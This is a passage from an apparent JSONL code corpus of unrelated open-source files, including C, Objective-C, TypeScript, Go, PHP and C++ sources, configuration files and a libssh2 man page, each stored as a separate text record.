file\n * \\param[in] dir Pointer to a directory entry.\n *\n * \\return true if the entry is for a normal file else false.\n */\nstatic inline uint8_t DIR_IS_FILE(const dir_t* dir) {\n return (dir->attributes & DIR_ATT_FILE_TYPE_MASK) == 0;\n}\n/** Directory entry is for a subdirectory\n * \\param[in] dir Pointer to a directory entry.\n *\n * \\return true if the entry is for a subdirectory else false.\n */\nstatic inline uint8_t DIR_IS_SUBDIR(const dir_t* dir) {\n return (dir->attributes & DIR_ATT_FILE_TYPE_MASK) == DIR_ATT_DIRECTORY;\n}\n/** Directory entry is for a file or subdirectory\n * \\param[in] dir Pointer to a directory entry.\n *\n * \\return true if the entry is for a normal file or subdirectory else false.\n */\nstatic inline uint8_t DIR_IS_FILE_OR_SUBDIR(const dir_t* dir) {\n return (dir->attributes & DIR_ATT_VOLUME_ID) == 0;\n}\n#endif // SdFatStructs_h\n\n\n#endif\n"} {"text": "{\n \"images\": [\n {\n \"filename\": \"ic_fluent_data_sunburst_24_regular.pdf\",\n \"idiom\": \"universal\"\n }\n ],\n \"info\": {\n \"author\": \"xcode\",\n \"version\": 1\n },\n \"properties\": {\n \"preserves-vector-representation\": true,\n \"template-rendering-intent\": \"template\"\n }\n}"} {"text": "// Estimote Fleet Management SDK\n// Copyright © 2015 Estimote. All rights reserved.\n\n#import \"ESTTelemetryInfo.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n/**\n * This class contains data read from telemetry packet from beacon device.\n */\nDEPRECATED_MSG_ATTRIBUTE(\"Deprecated since 4.31.0.\")\n@interface ESTTelemetryInfoMotion : ESTTelemetryInfo\n\n/**\n * Accelerometer data related to X axis.\n */\n@property (nonatomic, strong, readonly) NSNumber *accelerationX;\n\n/**\n * Accelerometer data related to Y axis.\n */\n@property (nonatomic, strong, readonly) NSNumber *accelerationY;\n\n/**\n * Accelerometer data related to Z axis.\n */\n@property (nonatomic, strong, readonly) NSNumber *accelerationZ;\n\n/**\n * Duration of previous motion state.\n */\n@property (nonatomic, strong, readonly) NSNumber *previousMotionStateDurationInSeconds;\n\n/**\n * Duration of current motion state.\n */\n@property (nonatomic, strong, readonly) NSNumber *currentMotionStateDurationInSeconds;\n\n/**\n * Motion state of device. 0 means not moving, 1 means moving.\n */\n@property (nonatomic, strong, readonly) NSNumber *motionState;\n\n/**\n * Designated initializer of this class.\n *\n * @param accelerationX Data from beacons X axis, read from telemetry packet.\n * @param accelerationY Data from beacons Y axis, read from telemetry packet.\n * @param accelerationZ Data from beacons Z axis, read from telemetry packet.\n * @param previousMotionStateDurationInSeconds Duration of previous motion state, read from telemetry packet.\n * @param currentMotionStateDurationInSeconds Duration of current motion, read from telemetry packet.\n * @param motionState Current motion state, read from telemetry packet.\n * @param shortIdentifier Short identifier of device that sent telemetry packet\n *\n * @return Instance of this class.\n */\n- (instancetype) initWithAccelerationX:(NSNumber *)accelerationX\n accelerationY:(NSNumber *)accelerationY\n accelerationZ:(NSNumber *)accelerationZ\n previousMotionStateDurationInSeconds:(NSNumber *)previousMotionStateDurationInSeconds\n currentMotionStateDurationInSeconds:(NSNumber *)currentMotionStateDurationInSeconds\n motionState:(NSNumber *)motionState\n shortIdentifier:(NSString *)shortIdentifier;\n\n@end\n\nNS_ASSUME_NONNULL_END\n"} {"text": "# Join Token Suite\n\n## Description\n\nThis suite verifies that:\n\n- An agent can attest with a join token\n- A join token vanity record can be used to register a workload\n- A join token cannot be reused\n"} {"text": "/* Copyright (C) 2018-2020 The Manyverse Authors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\nimport {createElement as $, PureComponent} from 'react';\nimport {\n Linking,\n StyleSheet,\n Text,\n TextProperties,\n View,\n ViewProps,\n} from 'react-native';\nimport {Palette} from '../global-styles/palette';\nimport {Dimensions} from '../global-styles/dimens';\nimport {Typography} from '../global-styles/typography';\nimport {GlobalEventBus} from '../drivers/eventbus';\nimport ZoomableImage from './ZoomableImage';\nimport AudioPlayer from './AudioPlayer';\nconst gemojiToEmoji = require('remark-gemoji-to-emoji');\nconst imagesToSsbServeBlobs = require('remark-images-to-ssb-serve-blobs');\nconst linkifyRegex = require('remark-linkify-regex');\nconst normalizeForReactNative = require('mdast-normalize-react-native');\nconst ReactMarkdown = require('react-markdown');\nconst Ref = require('ssb-ref');\nconst remark = require('remark');\n\nconst textProps: TextProperties = {\n selectable: true,\n textBreakStrategy: 'simple',\n};\n\nconst styles = StyleSheet.create({\n text: {},\n\n heading1: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeLarger,\n lineHeight: Typography.lineHeightLarger,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n heading2: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeLarge,\n lineHeight: Typography.lineHeightLarge,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n heading3: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeBig,\n lineHeight: Typography.lineHeightBig,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n heading4: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeNormal,\n lineHeight: Typography.lineHeightNormal,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n heading5: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeSmall,\n lineHeight: Typography.lineHeightSmall,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n heading6: {\n fontWeight: '700',\n color: Palette.text,\n fontSize: Typography.fontSizeTiny,\n lineHeight: Typography.lineHeightTiny,\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n paragraph: {\n flexWrap: 'wrap',\n flexDirection: 'row',\n alignItems: 'flex-start',\n justifyContent: 'flex-start',\n marginVertical: Dimensions.verticalSpaceSmall,\n },\n\n paragraphText: {\n flexWrap: 'wrap',\n overflow: 'visible',\n color: Palette.text,\n fontSize: Typography.fontSizeNormal,\n lineHeight: Typography.lineHeightNormal,\n },\n\n strong: {\n fontWeight: '700',\n },\n\n em: {\n fontStyle: 'italic',\n },\n\n strikethrough: {\n textDecorationLine: 'line-through',\n },\n\n link: {\n textDecorationLine: 'underline',\n },\n\n cypherlink: {\n color: Palette.textBrand,\n textDecorationLine: 'underline',\n },\n\n listItemText: {\n color: Palette.text,\n fontSize: Typography.fontSizeNormal,\n lineHeight: Typography.lineHeightNormal,\n },\n\n orderedBullet: {\n fontWeight: '700',\n },\n\n inlineCode: {\n backgroundColor: Palette.backgroundTextWeak,\n fontFamily: Typography.fontFamilyMonospace,\n color: Palette.textWeak,\n },\n\n codeBlock: {\n backgroundColor: Palette.backgroundTextWeak,\n marginVertical: Dimensions.verticalSpaceSmall,\n padding: Dimensions.verticalSpaceSmall,\n },\n\n codeText: {\n fontWeight: '400',\n color: Palette.textWeak,\n fontSize: Typography.fontSizeSmall,\n lineHeight: Typography.lineHeightSmall,\n fontFamily: Typography.fontFamilyMonospace,\n },\n\n blockquote: {\n backgroundColor: Palette.backgroundTextWeak,\n borderLeftWidth: 3,\n borderLeftColor: Palette.backgroundTextWeakStrong,\n marginVertical: Dimensions.verticalSpaceSmall,\n paddingLeft: Dimensions.horizontalSpaceSmall,\n paddingRight: 1,\n },\n\n horizontalLine: {\n backgroundColor: Palette.textLine,\n marginVertical: Dimensions.verticalSpaceSmall,\n height: 2,\n },\n});\n\nfunction makeRenderers(onLayout?: ViewProps['onLayout']) {\n const renderers = {\n root: (props: {children: any}) => $(View, {onLayout}, props.children),\n\n paragraph: (props: {children: any}) =>\n $(\n View,\n {style: styles.paragraph},\n $(Text, {...textProps, style: styles.paragraphText}, props.children),\n ),\n\n text: (props: {children: any}) =>\n $(Text, {...textProps, style: styles.text}, props.children),\n\n heading: (props: {children: any; level: 1 | 2 | 3 | 4 | 5 | 6}) =>\n $(\n Text,\n {...textProps, style: styles['heading' + props.level]},\n props.children,\n ),\n\n emphasis: (props: {children: any}) =>\n $(Text, {...textProps, style: styles.em}, props.children),\n\n strong: (props: {children: any}) =>\n $(Text, {...textProps, style: styles.strong}, props.children),\n\n link: (props: {children: any; href: string}) => {\n if (!props.href) return renderers.text(props);\n const isFeedCypherlink = Ref.isFeedId(props.href);\n const isMsgCypherlink = Ref.isMsgId(props.href);\n const isCypherlink = isFeedCypherlink || isMsgCypherlink;\n const isChildCypherlink =\n props.children.length === 1 &&\n (Ref.isFeedId(props.children[0]) || Ref.isMsgId(props.children[0]));\n return $(\n Text,\n {\n ...textProps,\n style: isCypherlink ? styles.cypherlink : styles.link,\n onPress: () => {\n if (isFeedCypherlink) {\n GlobalEventBus.dispatch({\n type: 'triggerFeedCypherlink',\n feedId: props.href,\n });\n } else if (isMsgCypherlink) {\n GlobalEventBus.dispatch({\n type: 'triggerMsgCypherlink',\n msgId: props.href,\n });\n } else {\n Linking.openURL(props.href);\n }\n },\n },\n isChildCypherlink\n ? [props.children[0].slice(0, 10) + '\\u2026']\n : props.children,\n );\n },\n\n inlineCode: (props: {children: any}) =>\n $(Text, {...textProps, style: styles.inlineCode}, props.children),\n\n delete: (props: {children: any}) =>\n $(Text, {...textProps, style: styles.strikethrough}, props.children),\n\n blockquote: (props: {children: any}) =>\n $(View, {style: styles.blockquote}, props.children),\n\n code: (props: {value: string; language: string}) =>\n $(\n View,\n {style: styles.codeBlock},\n $(Text, {...textProps, style: styles.codeText}, props.value),\n ),\n\n thematicBreak: () => $(View, {style: styles.horizontalLine}),\n\n image: (props: {src: string; title?: string; alt?: string}) => {\n // Audio and video are recognized as images but their caption start with `audio:` or `video:`\n if (props.alt?.startsWith('audio:')) {\n return $(AudioPlayer, {src: props.src});\n }\n\n return $(ZoomableImage, {\n src: props.src,\n title: props.title ?? props.alt,\n });\n },\n list: (props: {children: any; depth: number; ordered: boolean}) =>\n $(\n View,\n {\n style: {\n paddingLeft: Dimensions.horizontalSpaceNormal * (props.depth + 1),\n },\n },\n props.children,\n ),\n\n listItem: (props: {children: any; index: number; ordered: boolean}) => {\n return $(\n Text,\n {...textProps, style: styles.listItemText},\n props.ordered\n ? $(Text, {style: styles.orderedBullet}, `${props.index + 1}. `)\n : $(Text, null, `\\u2022 `),\n props.children,\n );\n },\n };\n\n return renderers;\n}\n\nexport type Props = {\n text: string;\n onLayout?: ViewProps['onLayout'];\n};\n\nexport default class Markdown extends PureComponent<Props> {\n public render() {\n const linkifySsbFeeds = linkifyRegex(Ref.feedIdRegex);\n const linkifySsbMsgs = linkifyRegex(Ref.msgIdRegex);\n const renderers = makeRenderers(this.props.onLayout);\n\n return $<any>(ReactMarkdown, {\n source: remark()\n .use(gemojiToEmoji)\n .use(linkifySsbFeeds)\n .use(linkifySsbMsgs)\n .use(imagesToSsbServeBlobs)\n .processSync(this.props.text).contents,\n astPlugins: [normalizeForReactNative()],\n allowedTypes: Object.keys(renderers),\n renderers,\n });\n }\n}\n"} {"text": "fileFormatVersion: 2\nguid: 583ff7026dac91849b7c7b2468ba456b\nNativeFormatImporter:\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "/**\n * \n * WARNING! This file was autogenerated by: \n * _ _ _ _ __ __ \n * | | | | | | |\\ \\ / / \n * | | | | |_| | \\ V / \n * | | | | _ | / \\ \n * | |_| | | | |/ /^\\ \\ \n * \\___/\\_| |_/\\/ \\/ \n * \n * This file was autogenerated by UnrealHxGenerator using UHT definitions.\n * It only includes UPROPERTYs and UFUNCTIONs. Do not modify it!\n * In order to add more definitions, create or edit a type with the same name/package, but with an `_Extra` suffix\n**/\npackage unreal.moviescenetracks;\n\n/**\n Handles manipulation of audio.\n**/\n@:umodule(\"MovieSceneTracks\")\n@:glueCppIncludes(\"Tracks/MovieSceneAudioTrack.h\")\n@:uextern @:uclass extern class UMovieSceneAudioTrack extends unreal.moviescene.UMovieSceneNameableTrack {\n \n}\n"} {"text": "const express = require('express');\nconst request = require('request-promise')\nconst path = require('path')\nconst dotenv = require('dotenv')\nconst app = express();\n\nconst config = dotenv.config({ path: path.resolve(process.cwd(), \"config\", \"config.env\") })\nconst backendServiceEndpoint = `http://backend/hello-backend`\n\napp.get('/hello-frontend', (req, res) => res.send(`Config says: ${config.parsed.MESSAGE}`));\n\napp.get('/call-backend', (req, res) => {\n // Query the backend and return the response\n request.get(backendServiceEndpoint)\n .then(message => {\n message = `Backend says: '${message}'`\n res.json({\n message,\n })\n })\n .catch(err => {\n res.statusCode = 500\n res.json({\n error: err,\n message: \"Unable to reach service at \" + backendServiceEndpoint,\n })\n });\n});\n\nmodule.exports = { app }\n"} {"text": ".TH libssh2_sftp_fsync 3 \"8 Apr 2013\" \"libssh2 1.4.4\" \"libssh2 manual\"\n.SH NAME\nlibssh2_sftp_fsync - synchronize file to disk\n.SH SYNOPSIS\n.nf\n#include <libssh2.h>\n#include <libssh2_sftp.h>\n\nint\nlibssh2_sftp_fsync(LIBSSH2_SFTP_HANDLE *handle)\n.fi\n.SH DESCRIPTION\nThis function causes the remote server to synchronize the file\ndata and metadata to disk (like fsync(2)).\n\nFor this to work requires fsync@openssh.com support on the server.\n\n\\fIhandle\\fP - SFTP File Handle as returned by\n.BR libssh2_sftp_open_ex(3)\n\n.SH RETURN VALUE\nReturns 0 on success or negative on failure. If used in non-blocking mode, it\nreturns LIBSSH2_ERROR_EAGAIN when it would otherwise block. While\nLIBSSH2_ERROR_EAGAIN is a negative number, it isn't really a failure per se.\n.SH ERRORS\n\\fILIBSSH2_ERROR_ALLOC\\fP - An internal memory allocation call failed.\n\n\\fILIBSSH2_ERROR_SOCKET_SEND\\fP - Unable to send data on socket.\n\n\\fILIBSSH2_ERROR_SFTP_PROTOCOL\\fP - An invalid SFTP protocol response\nwas received on the socket, or an SFTP operation caused an errorcode\nto be returned by the server. In particular, this can be returned if\nthe SSH server does not support the fsync operation: the SFTP subcode\n\\fILIBSSH2_FX_OP_UNSUPPORTED\\fP will be returned in this case.\n\n.SH AVAILABILITY\nAdded in libssh2 1.4.4 and OpenSSH 6.3.\n.SH SEE ALSO\n.BR fsync(2)\n"} {"text": "#include \"stdint.h\"\n#include \"string.h\"\n#include \"stdio.h\"\n\nstatic char *_val_for_vid(uint32_t *nodes, uint32_t *kids, uint32_t vid, char *rval) {\n char *curr = rval;\n uint32_t node = nodes[vid];\n uint32_t kid_offset = (uint32_t )0x00ffffff & node;\n uint32_t parent = kids[kid_offset++];\n\n if (parent) {\n curr = _val_for_vid(nodes, kids, parent, rval);\n }\n\n uint16_t *radix = (uint16_t *)&kids[kid_offset];\n char *radix_chars = (char *)(radix + 1);\n memcpy(curr, radix_chars, *radix);\n curr += *radix;\n return curr;\n}\n\n\nint value_for_vid(uint32_t *nodes, uint32_t *kids, uint32_t vid, char *result, size_t *rlen) {\n char *end = _val_for_vid(nodes, kids, vid, result);\n *rlen = end - result;\n return 0;\n}\n\n\nstatic uint32_t _find_binary(uint32_t *knodes, uint8_t kid_len, unsigned char selector) {\n int lower = 0;\n int upper = kid_len - 1;\n\n while (lower <= upper) {\n int mid = lower + ((upper - lower) / 2);\n\n // unpack the node - the high order byte is the selector for those children\n uint32_t knode = knodes[mid];\n unsigned char rselect = (unsigned char) (knode >> 24);\n uint32_t node = ((uint32_t)0x00ffffff) & knode;\n\n if (rselect == selector) {\n return node;\n }\n else if (rselect < selector) {\n lower = mid + 1;\n }\n else{\n upper = mid - 1;\n }\n }\n return 0;\n}\n\n\nstatic uint32_t _vid_for_value(uint32_t *nodes, uint32_t *kids, uint32_t vid, char *key, uint16_t key_len) {\n if (!key_len) {\n return vid;\n }\n\n uint32_t node = nodes[vid];\n uint8_t kid_len = (uint8_t)(node >> 24);\n uint32_t kid_offset = ((uint32_t )0x00ffffff & node) + 1;\n uint16_t *radix = (uint16_t *)&kids[kid_offset];\n uint16_t radix_len = *radix;\n uint16_t i;\n\n // we need to compare the radix to the key\n if (radix_len <= key_len) {\n char *radix_chars = (char *)(radix + 1);\n for (i = 0; i < radix_len; i++) {\n if (radix_chars[i] != key[i]) {\n return 0;\n }\n }\n\n // did we find the VID?\n if (radix_len == key_len) {\n return vid;\n }\n\n // we have a matching radix, take the 'rest' of the key and match with it's children\n char *selector = key + radix_len;\n uint16_t selector_len = key_len - radix_len;\n uint16_t width = 2 + radix_len;\n kid_offset += width / 4;\n if (width % 4) {\n kid_offset++;\n }\n uint32_t *knodes = kids + kid_offset;\n uint32_t knode = _find_binary(knodes, kid_len, (unsigned char)(*selector));\n if (knode) {\n return _vid_for_value(nodes, kids, knode, selector, selector_len);\n }\n }\n return 0;\n\n}\n\nint vid_for_value(uint32_t *nodes, uint32_t *kids, char *key, uint16_t key_len, uint32_t *vid) {\n uint32_t node = _vid_for_value(nodes, kids, 0, key, key_len);\n if (node) {\n *vid = node;\n return 0;\n }\n return -1;\n}\n\n\nstatic void _print_it(uint32_t *nodes, uint32_t *kids, uint32_t curr_node, unsigned char selector, int depth) {\n int i;\n uint32_t node = nodes[curr_node];\n uint8_t kid_len = (uint8_t)(node >> 24);\n uint32_t kid_offset = (uint32_t )0x00ffffff & node;\n uint32_t *kid = kids + kid_offset;\n uint32_t parent = kid[0];\n uint16_t radix_len = ((uint16_t *)kid)[2];\n for(i = 0; i < depth; ++i) {\n printf(\" \");\n }\n if(radix_len > 0) {\n char *radix = ((char *)kid) + 6;\n printf(\"%d '%.*s' \", radix_len, radix_len, radix);\n }\n else {\n printf(\"<none> \");\n }\n printf(\"%d(%d) '%c'(0x%x) - %d\\n\", curr_node, parent, selector, selector, kid_len);\n\n // pad\n uint32_t child_offset = 6 + radix_len;\n child_offset += (4 - (child_offset % 4)) % 4;\n child_offset /= 4;\n\n // process kids\n uint32_t *children = kid + child_offset;\n for(i = 0; i < kid_len; ++i) {\n uint32_t child = children[i];\n unsigned char sel = (unsigned char)(child >> 24);\n uint32_t new_node = child & 0x00ffffff;\n _print_it(nodes, kids, new_node, sel, depth + 1);\n }\n}\n\nvoid print_it(uint32_t *nodes, uint32_t *kids) {\n _print_it(nodes, kids, 0, '\\0', 0);\n}\n\n\nvoid summarize(uint32_t *nodes, uint32_t *kids, int num_nodes) {\n int i;\n printf(\"Summarize nodes=%p kids=%p num_nodes=%d\\n\", nodes, kids, num_nodes);\n for(i = 0; i < num_nodes; ++i) {\n uint32_t node = nodes[i];\n uint8_t kid_len = (uint8_t)(node >> 24);\n uint32_t kid_offset = (uint32_t )0x00ffffff & node;\n uint32_t *kid = kids + kid_offset;\n uint32_t parent = kid[0];\n uint16_t radix_len = ((uint16_t *)kid)[2];\n\n printf(\"%d %d | %d \", kid_len, kid_offset, parent);\n if(radix_len > 0) {\n char *radix = ((char *)kid) + 6;\n printf(\"%d '%.*s'\\n\", radix_len, radix_len, radix);\n }\n else {\n printf(\"0 ''\\n\");\n }\n //printf(\"%d %d(%d) - %d, %d\\n\", i, node, parent, kid_len, kid_offset);\n }\n}"} {"text": "{\n \"cells\": [\n {\n \"cell_type\": \"code\",\n \"execution_count\": null,\n \"metadata\": {},\n \"outputs\": [],\n \"source\": [\n \"import os\\n\",\n \"from neptune_python_utils.streams import StreamViewer\"\n ]\n },\n {\n \"cell_type\": \"code\",\n \"execution_count\": null,\n \"metadata\": {},\n \"outputs\": [],\n \"source\": [\n \"StreamViewer(os.environ['NEPTUNE_CLUSTER_ENDPOINT']).show()\"\n ]\n }\n ],\n \"metadata\": {\n \"kernelspec\": {\n \"display_name\": \"conda_python3\",\n \"language\": \"python\",\n \"name\": \"conda_python3\"\n },\n \"language_info\": {\n \"codemirror_mode\": {\n \"name\": \"ipython\",\n \"version\": 3\n },\n \"file_extension\": \".py\",\n \"mimetype\": \"text/x-python\",\n \"name\": \"python\",\n \"nbconvert_exporter\": \"python\",\n \"pygments_lexer\": \"ipython3\",\n \"version\": \"3.6.5\"\n }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"} {"text": "<?php\n\ndeclare(strict_types=1);\n\nnamespace SensioLabs\\Deptrac\\RulesetEngine;\n\nuse SensioLabs\\Deptrac\\Dependency\\DependencyInterface;\n\nfinal class Uncovered implements Rule\n{\n private $dependency;\n private $layer;\n\n public function __construct(DependencyInterface $dependency, string $layer)\n {\n $this->dependency = $dependency;\n $this->layer = $layer;\n }\n\n public function getDependency(): DependencyInterface\n {\n return $this->dependency;\n }\n\n public function getLayer(): string\n {\n return $this->layer;\n }\n}\n"} {"text": "import React, { memo, forwardRef } from 'react'\nimport Icon from '../src/Icon'\n\nconst svgPaths16 = [\n 'M9.405 11.746C8.968 11.91 8.495 12 8 12c-.494 0-.968-.09-1.405-.254l-.702 1.873C6.548 13.865 7.258 14 8 14c.742 0 1.452-.135 2.107-.38l-.702-1.874zm2.341-2.341l1.873.702C13.865 9.452 14 8.742 14 8c0-.742-.135-1.452-.38-2.107l-1.874.702c.164.437.254.91.254 1.405 0 .494-.09.968-.254 1.405zM9.405 4.254l.702-1.873A5.987 5.987 0 008 2c-.742 0-1.452.135-2.107.38l.702 1.874C7.032 4.09 7.505 4 8 4c.494 0 .968.09 1.405.254zM4.254 6.595L2.38 5.893A5.987 5.987 0 002 8c0 .742.135 1.452.38 2.107l1.874-.702A3.991 3.991 0 014 8c0-.494.09-.968.254-1.405zM8 16A8 8 0 118 0a8 8 0 010 16zm0-6a2 2 0 100-4 2 2 0 000 4z'\n]\nconst svgPaths20 = [\n 'M8.143 14.644L7.028 17.43c.919.368 1.922.57 2.972.57s2.053-.202 2.972-.57l-1.115-2.786A4.986 4.986 0 0110 15a4.986 4.986 0 01-1.857-.356zm-2.787-2.787A4.986 4.986 0 015 10c0-.656.126-1.283.356-1.857L2.57 7.028A7.978 7.978 0 002 10c0 1.05.202 2.053.57 2.972l2.786-1.115zm2.787-6.5A4.986 4.986 0 0110 5c.656 0 1.283.126 1.857.356l1.115-2.786A7.978 7.978 0 0010 2c-1.05 0-2.053.202-2.972.57l1.115 2.786zm6.5 2.786c.23.574.357 1.2.357 1.857 0 .656-.126 1.283-.356 1.857l2.786 1.115c.368-.919.57-1.922.57-2.972s-.202-2.053-.57-2.972l-2.786 1.115zM10 13a3 3 0 100-6 3 3 0 000 6zm0 7C4.477 20 0 15.523 0 10S4.477 0 10 0s10 4.477 10 10-4.477 10-10 10z'\n]\n\nexport const LifesaverIcon = memo(\n forwardRef(function LifesaverIcon(props, ref) {\n return (\n <Icon\n svgPaths16={svgPaths16}\n svgPaths20={svgPaths20}\n ref={ref}\n name=\"lifesaver\"\n {...props}\n />\n )\n })\n)\n"} {"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage filters\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"reflect\"\n\t\"testing\"\n\n\t\"k8s.io/apiserver/pkg/authorization/authorizer\"\n\t\"k8s.io/apiserver/pkg/endpoints/handlers/responsewriters\"\n\t\"k8s.io/apiserver/pkg/endpoints/request\"\n\tbatch \"k8s.io/client-go/pkg/apis/batch/v1\"\n)\n\nfunc TestGetAuthorizerAttributes(t *testing.T) {\n\tmapper := request.NewRequestContextMapper()\n\n\ttestcases := map[string]struct {\n\t\tVerb string\n\t\tPath string\n\t\tExpectedAttributes *authorizer.AttributesRecord\n\t}{\n\t\t\"non-resource root\": {\n\t\t\tVerb: \"POST\",\n\t\t\tPath: \"/\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"post\",\n\t\t\t\tPath: \"/\",\n\t\t\t},\n\t\t},\n\t\t\"non-resource api prefix\": {\n\t\t\tVerb: \"GET\",\n\t\t\tPath: \"/api/\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"get\",\n\t\t\t\tPath: \"/api/\",\n\t\t\t},\n\t\t},\n\t\t\"non-resource group api prefix\": {\n\t\t\tVerb: \"GET\",\n\t\t\tPath: \"/apis/extensions/\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"get\",\n\t\t\t\tPath: \"/apis/extensions/\",\n\t\t\t},\n\t\t},\n\n\t\t\"resource\": {\n\t\t\tVerb: \"POST\",\n\t\t\tPath: \"/api/v1/nodes/mynode\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"create\",\n\t\t\t\tPath: \"/api/v1/nodes/mynode\",\n\t\t\t\tResourceRequest: true,\n\t\t\t\tResource: \"nodes\",\n\t\t\t\tAPIVersion: \"v1\",\n\t\t\t\tName: \"mynode\",\n\t\t\t},\n\t\t},\n\t\t\"namespaced resource\": {\n\t\t\tVerb: \"PUT\",\n\t\t\tPath: \"/api/v1/namespaces/myns/pods/mypod\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"update\",\n\t\t\t\tPath: \"/api/v1/namespaces/myns/pods/mypod\",\n\t\t\t\tResourceRequest: true,\n\t\t\t\tNamespace: \"myns\",\n\t\t\t\tResource: \"pods\",\n\t\t\t\tAPIVersion: \"v1\",\n\t\t\t\tName: \"mypod\",\n\t\t\t},\n\t\t},\n\t\t\"API group resource\": {\n\t\t\tVerb: \"GET\",\n\t\t\tPath: \"/apis/batch/v1/namespaces/myns/jobs\",\n\t\t\tExpectedAttributes: &authorizer.AttributesRecord{\n\t\t\t\tVerb: \"list\",\n\t\t\t\tPath: \"/apis/batch/v1/namespaces/myns/jobs\",\n\t\t\t\tResourceRequest: true,\n\t\t\t\tAPIGroup: batch.GroupName,\n\t\t\t\tAPIVersion: \"v1\",\n\t\t\t\tNamespace: \"myns\",\n\t\t\t\tResource: \"jobs\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor k, tc := range testcases {\n\t\treq, _ := http.NewRequest(tc.Verb, tc.Path, nil)\n\t\treq.RemoteAddr = \"127.0.0.1\"\n\n\t\tvar attribs authorizer.Attributes\n\t\tvar err error\n\t\tvar handler http.Handler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\t\tctx, ok := mapper.Get(req)\n\t\t\tif !ok {\n\t\t\t\tresponsewriters.InternalError(w, req, errors.New(\"no context found for request\"))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tattribs, err = GetAuthorizerAttributes(ctx)\n\t\t})\n\t\thandler = WithRequestInfo(handler, newTestRequestInfoResolver(), mapper)\n\t\thandler = request.WithRequestContext(handler, mapper)\n\t\thandler.ServeHTTP(httptest.NewRecorder(), req)\n\n\t\tif err != nil {\n\t\t\tt.Errorf(\"%s: unexpected error: %v\", k, err)\n\t\t} else if !reflect.DeepEqual(attribs, tc.ExpectedAttributes) {\n\t\t\tt.Errorf(\"%s: expected\\n\\t%#v\\ngot\\n\\t%#v\", k, tc.ExpectedAttributes, attribs)\n\t\t}\n\t}\n}\n"} {"text": "var global = require('./_global')\n , hide = require('./_hide')\n , uid = require('./_uid')\n , TYPED = uid('typed_array')\n , VIEW = uid('view')\n , ABV = !!(global.ArrayBuffer && global.DataView)\n , CONSTR = ABV\n , i = 0, l = 9, Typed;\n\nvar TypedArrayConstructors = (\n 'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array'\n).split(',');\n\nwhile(i < l){\n if(Typed = global[TypedArrayConstructors[i++]]){\n hide(Typed.prototype, TYPED, true);\n hide(Typed.prototype, VIEW, true);\n } else CONSTR = false;\n}\n\nmodule.exports = {\n ABV: ABV,\n CONSTR: CONSTR,\n TYPED: TYPED,\n VIEW: VIEW\n};"} {"text": "//\n// Copyright (c) 2009 Rutger ter Borg\n//\n// Distributed under the Boost Software License, Version 1.0.\n// (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef BOOST_NUMERIC_BINDINGS_UBLAS_TRIANGULAR_HPP\n#define BOOST_NUMERIC_BINDINGS_UBLAS_TRIANGULAR_HPP\n\n#include <Core/Utils/numeric/bindings/begin.hpp>\n#include <Core/Utils/numeric/bindings/detail/adaptor.hpp>\n#include <Core/Utils/numeric/bindings/end.hpp>\n#include <Core/Utils/numeric/bindings/ublas/detail/basic_ublas_adaptor.hpp>\n#include <Core/Utils/numeric/bindings/ublas/detail/convert_to.hpp>\n#include <Core/Utils/numeric/bindings/value_type.hpp>\n#include <Core/Utils/numeric/bindings/ublas/matrix_expression.hpp>\n#include <boost/numeric/ublas/triangular.hpp>\n\nnamespace boost {\nnamespace numeric {\nnamespace bindings {\nnamespace detail {\n\ntemplate< typename T, typename F1, typename F2, typename A, typename Id, typename Enable >\nstruct adaptor< ublas::triangular_matrix< T, F1, F2, A >, Id, Enable > {\n\n typedef typename copy_const< Id, T >::type value_type;\n typedef mpl::map<\n mpl::pair< tag::value_type, value_type >,\n mpl::pair< tag::entity, tag::matrix >,\n mpl::pair< tag::size_type<1>, std::ptrdiff_t >,\n mpl::pair< tag::size_type<2>, std::ptrdiff_t >,\n mpl::pair< tag::matrix_type, typename convert_to< tag::matrix_type, F1 >::type >,\n mpl::pair< tag::data_structure, tag::triangular_array >,\n mpl::pair< tag::data_side, typename convert_to< tag::data_side, F1 >::type >,\n mpl::pair< tag::data_order, typename convert_to< tag::data_order, F2 >::type >\n > property_map;\n\n static std::ptrdiff_t size1( const Id& t ) {\n return t.size1();\n }\n\n 